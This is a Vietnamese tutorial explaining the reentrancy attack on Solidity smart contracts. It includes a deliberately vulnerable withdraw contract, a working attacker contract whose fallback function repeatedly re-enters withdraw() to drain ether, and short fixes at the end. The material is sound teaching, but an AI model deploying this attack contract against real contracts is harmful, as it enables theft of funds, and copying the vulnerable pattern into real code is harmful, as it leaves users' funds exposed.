Reentrancy Attack
Mình có nghiên cứu 1 chút về smart contract nên hôm nay viết 1 bài chia sẻ về Reentrancy Attack
. Bài này yêu cầu mọi người có chút kiến thức về Blockchain
, Smart Contract
với Solidity
.
The Vulnerable Contract
pragma solidity ^0.4.8;contract Victim {mapping(address => uint) public _balanceOf;function withdraw(){
require (_balanceOf[msg.sender] > 0);
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;
}
function deposit() payable {
_balanceOf[msg.sender] = msg.value;
}}
Vulnerable Contract
sẽ có 2 chức năng là withdraw()
và deposit()
.
mapping(address => uint) public _balanceOf;
_balance0f
là mảng lưu trữ số tiền mà người dùng đã gửi.
function deposit() payable {
_balanceOf[msg.sender] = msg.value;
}
deposit()
là chức năng gửi tiền. Ví dụ địa chỉ của bạn là 0x6E16D5938b67aB67F43Aa77356e3cdD5adF9Dc20
và bạn gửi 5 ETH thì giá trị của msg.value
sẽ bằng 5.10¹⁸ wei
và sẽ được lưu trong _balanceOf[0x6E16D5938b67aB67F43Aa77356e3cdD5adF9Dc20]
.
function withdraw(){
require (_balanceOf[msg.sender] > 0);
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;
}
withdraw()
là chức năng rút lại số tiền mà họ đã gửi.
require (_balanceOf[msg.sender] > 0);
Dòng đầu tiên sẽ kiểm tra số dư ( msg.sender
là địa chỉ của người dùng ).
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
Đây là nơi sẽ tận dụng để exploit
. Mục đích của 2 dòng này là gửi lại số tiền được lưu trong _balanceOf[msg.sender]
.
_balanceOf[msg.sender] = 0;
Sau khi gửi xong thì gán lại bằng 0️⃣.
Call Function And Fallback Function
Trước khi exploit
chúng ta sẽ tìm hiểu call function
và fallback function
.
Trong smart contract mỗi contract là 1 đối tượng giống trong lập trình hướng đối tượng. Ví dụ mình muốn sử dụng phương thức fun(uint256 x)
trong contract 🅰️ thì mình gọi nó bằng cách 🅰️.fun(1)
. Có 1 cách khác để gọi phương thức fun(uint256 x)
là dùng call
.
A.call.(bytes4(sha3("fun(uint256)")), 1)
Để xác định phương thức được sử dụng thì dựa trên 4 byte đầu tiên của sha3("fun(uint256)")
.
Fallback function
có dạng là function () { ... }
được gọi khi mà phương thứcfun(uint256 x)
không tồn tại trong contract 🅰️( Cái này giống default
trong switch case
😄 ). Fallback function
cũng được gọi khi nhận ether
( có dạng là function() payable { ... }
).
How To Exploit ❔
Quay trở lại với đoạn code có 🐞
uint x = _balanceOf[msg.sender];
msg.sender.call.value(x)();
_balanceOf[msg.sender] = 0;
Nếu như msg.sender
là địa chỉ của người dùng 🅰️ thì sau khi thực hiện đoạn code trên thì 🅰️ sẽ nhận được ❌ ether và _balanceOf[🅰️] = 0️⃣
Ngược lại msg.sender
là địa chỉ của contract 🅱️ thì 🅱️ sẽ nhận được ❌ ether và đồng thời thực thi fallback function
trong 🅱️. Fallback function
trong 🅱️ có thể gọi tiếp hàm withdraw()
của contract 🏦 để rút tiền bởi vì _balanceOf[🅱️]
vẫn là ❌. Vậy là mình có thể rút hết 💰 của 🏦
Dưới đây là hình minh họa quá trình exploit .
🅱️(0 ETH) 🏦(2 ETH)
0 ETH withdraw function 1 ETH
/
1 ETH /
/
1 ETH fallback function 1 ETH
\
\
\
withdraw function 0 ETH
/
1 ETH /
/
2 ETH fallback function
\
\
\
withdraw function 0 ETH
X
X
X
2 ETH fallback function
Khi 🏦 hết 💰 thì msg.sender.call.value(x)()
bị fail và ngay lúc đó vòng lặp ngừng lại. Easy money 😏
The Attack Contract
Phần này mình sẽ viết 🅱️ để exploit 🏦
pragma solidity ^0.4.8;import './Victim.sol';contract B{
Victim public v;
uint public count; function B(address victim) {
v = Victim(victim);
} function attack() {
v.withdraw();
} function deposit() public payable{
v.deposit.value(msg.value)();
} function () payable {
count++;
if (count < 3) {
v.withdraw();
}
}
}
Mình sẽ giải thích các thành phần trong 🅱️
Victim public v;
uint public count;
v
là địa chỉ của contract 🏦
count
là số lần mà mình muốn rút tiền.
function B(address victim) {
v = Victim(victim);
}
Đây là phương thức khởi tạo của 🅱️ với tham số là địa chỉ của 🏦
function deposit() public payable{
v.deposit.value(msg.value)();
}
desposit()
là phương thức trung gian để mình gửi tiền vô 🏦( 🙎 ➡️ 🅱️ ➡️ 🏦).
function () payable {
count++;
if (count < 3) {
v.withdraw();
}
}
Đây là fallback function
của 🅱️. Ở đây mình rút 3️⃣ lần thì dừng.
function attack() {
v.withdraw();
}
Cuối cùng là phương thức để trigger 🐞
FIX 🐞
- Sử dụng
transfer()
hoặcsend()
thay thế chocall()
. - Đặt
_balanceOf[msg.sender] = 0
trướcmsg.sender.call.value(x)()
.
Conclusion
Bài viết này là theo những gì mình hiểu. Bài viết còn nhiều thiếu sót mong mọi người đóng ý kiến để bài viết tốt hơn. Cám ơn mọi người đã dành thời gian để đọc 😺